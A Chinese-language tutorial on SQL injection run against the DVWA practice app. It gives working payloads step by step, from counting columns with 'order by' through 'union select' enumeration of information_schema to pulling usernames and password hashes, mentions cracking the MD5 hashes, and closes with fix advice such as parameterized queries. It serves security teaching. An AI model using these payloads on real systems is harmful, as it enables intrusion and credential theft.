注*本篇内容大部分参考SQL注入基本原理的学习
SQL注入原理:
攻击者通过把SQL命令插入到Web表单提交或者输入域名或者页面查询,最终达到欺骗服务器执行恶意的SQL命令。
SQL注入实例:猜解数据库
1.输入2之后点击submit,然后点击右下角View Source查看源代码 SQL注入漏洞解析实际执行的SQL就是下面这行
select first_name,last_name from users where user_id=‘1’;
2.输入1’ order by 1#,实际执行的是下面的内容,意思是查询user_id=1的数据,根据第一列数据排序
SELECT first_name, last_name FROM users WHERE user_id = '1' order by 1#`;
(按照Mysql语法,#后面会被注释掉,使用这种方法屏蔽掉后面的单引号,避免语法错误)
3.输入1' order by 1#和1' order by 2#时都可以正常返回,输入1' order by 3#时会报错,说明该表只有2列数据
SQL注入漏洞解析 SQL注入漏洞解析 SQL注入漏洞解析4.使用union select联合查询数据库,需要注意在使用union查询的时候需要和主查询的列数相同,而我们已经知道之前主查询列数为2,所以查询列数需要2列,现在输入
1’ union select database(),user()#
进行查询
- database()为返回的数据库名
-
user()为返回的执行当前操作的用户名
SQL注入漏洞解析
5.接下来再尝试获取数据库dvwa中的表名:
information_schema
是 mysql 自带的一张表,这张数据表保存了 Mysql 服务器所有数据库的信息,如数据库名,数据库的表,表栏的数据类型与访问权限等。该数据库拥有一个名为 tables 的数据表,该表包含两个字段 table_name 和 table_schema,分别记录 DBMS 中的存储的表名和表名所在的数据库。
我们输入
1’ union select table_name,table_schema from information_schema.tables where table_schema=‘dvwa’#
SQL注入漏洞解析
通过查询结果可知:
- dvwa有2个表,guestbook和users
6.接下来我们再继续尝试获取表中的字段,输入
1’ union select 5,column_name from information_schema.columns where table_name=‘users’#
SQL注入漏洞解析
通过查询结果可知:
- users表中包含2个字段,user和password
7.我们查询users表里的的用户名和密码数据,输入
1’ union select user,password from users#
SQL注入漏洞解析
根据查询结果,我们可以看到所有的用户名和密码,密码是采用md5解密的,可以到www.cmd5.com进行解密。
SQL注入漏洞解析修复建议:
1.严格限制参数类型
2.过滤/转义敏感字符和关键字
3.使用参数化查询/预编译
网友评论